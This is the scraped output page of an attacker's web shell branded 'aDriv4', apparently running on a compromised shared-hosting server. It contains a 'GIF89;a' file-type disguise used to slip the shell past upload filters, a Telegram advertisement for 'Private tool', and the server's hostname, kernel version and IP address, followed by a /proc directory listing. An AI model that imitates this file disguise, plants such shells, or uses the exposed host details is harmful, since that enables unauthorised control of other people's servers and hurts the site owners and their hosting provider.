GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium76.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.213.255.108
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-25 10:10:05
.. dir - root/root 0755 2025-08-05 07:47:27
2549114 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:16
2615209 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:16
2645776 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:16
2746607 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:16
2924435 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:04
2932298 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:33
2932699 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:40
2932878 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:43
2932970 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:46
2932972 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:47
2933081 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:48
2933332 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:53
2933418 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:15:53
acpi dir - root/root 0555 2025-05-25 02:10:09
bus dir - root/root 0555 2025-05-25 02:10:20
driver dir - root/root 0555 2025-11-02 04:15:57
fs dir - root/root 0555 2025-05-25 02:10:20
irq dir - root/root 0555 2025-05-25 02:10:20
kcare dir - root/root 0555 2025-11-02 04:15:57
lve dir - root/root 0555 2025-11-02 04:15:18
net link - ingaswxa/ingaswxa 0555 2025-11-02 04:15:57
scsi dir - root/root 0555 2025-05-25 02:10:20
self link - ingaswxa/ingaswxa 0555 2025-11-02 04:15:43
sys dir - root/root 0555 2025-05-25 10:10:07
sysvipc dir - root/root 0555 2025-11-02 04:15:57
thread-self link - ingaswxa/ingaswxa 0555 2025-11-02 04:15:47
tty dir - root/root 0555 2025-11-02 04:15:57
buddyinfo 0 B root/root 0444 2025-11-02 04:15:57
cgroups 0 B root/root 0444 2025-11-02 04:15:57
cmdline text/plain 0 B root/root 0444 2025-11-02 04:15:17
consoles 0 B root/root 0444 2025-11-02 04:15:57
cpuinfo text/plain 0 B root/root 0444 2025-11-02 04:15:21
crypto 0 B root/root 0444 2025-11-02 04:15:57
devices 0 B root/root 0444 2025-11-02 04:15:57
diskstats 0 B root/root 0444 2025-11-02 04:15:26
dma 0 B root/root 0444 2025-11-02 04:15:57
execdomains 0 B root/root 0444 2025-11-02 04:15:57
fb 0 B root/root 0444 2025-11-02 04:15:57
filesystems text/plain 0 B root/root 0444 2025-11-02 04:14:40
interrupts 0 B root/root 0444 2025-11-02 04:15:57
iomem 0 B root/root 0444 2025-11-02 04:15:57
ioports 0 B root/root 0444 2025-11-02 04:15:57
kallsyms 0 B root/root 0444 2025-05-25 02:10:20
kcore 128 TB root/root 0400 2025-05-25 02:10:09
key-users 0 B root/root 0444 2025-11-02 04:15:57
keys 0 B root/root 0444 2025-11-02 04:15:57
kmsg 0 B root/root 0400 2025-11-02 04:15:57
kpagecgroup 0 B root/root 0400 2025-11-02 04:15:57
kpagecount 0 B root/root 0400 2025-11-02 04:15:57
kpageflags 0 B root/root 0400 2025-11-02 04:15:57
loadavg text/plain 0 B root/root 0444 2025-11-02 04:15:18
locks 0 B root/root 0444 2025-11-02 04:15:57
mdstat 0 B root/root 0444 2025-11-02 04:15:31
meminfo text/plain 0 B root/root 0444 2025-11-02 04:15:26
misc 0 B root/root 0444 2025-11-02 04:15:57
modules 0 B root/root 0444 2025-11-02 04:15:57
mounts text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 04:15:57
mtrr 0 B root/root 0644 2025-05-25 02:10:20
pagetypeinfo 0 B root/root 0400 2025-11-02 04:15:57
partitions 0 B root/root 0444 2025-11-02 04:15:57
sched_debug 0 B root/root 0444 2025-11-02 04:15:57
schedstat 0 B root/root 0444 2025-11-02 04:15:57
slabinfo 0 B root/root 0400 2025-11-02 04:15:57
softirqs 0 B root/root 0444 2025-11-02 04:15:57
stat text/plain 0 B root/root 0444 2025-11-02 04:15:16
swaps 0 B root/root 0444 2025-05-25 10:10:07
sysrq-trigger 0 B root/root 0200 2025-05-25 02:10:20
timer_list 0 B root/root 0400 2025-11-02 04:15:57
uptime text/plain 0 B root/root 0444 2025-11-02 04:15:46
version text/plain 0 B root/root 0444 2025-11-02 04:15:57
vmallocinfo 0 B root/root 0400 2025-11-02 04:15:57
vmstat 0 B root/root 0444 2025-11-02 04:15:26
zoneinfo 0 B root/root 0444 2025-11-02 04:15:57
© aDriv4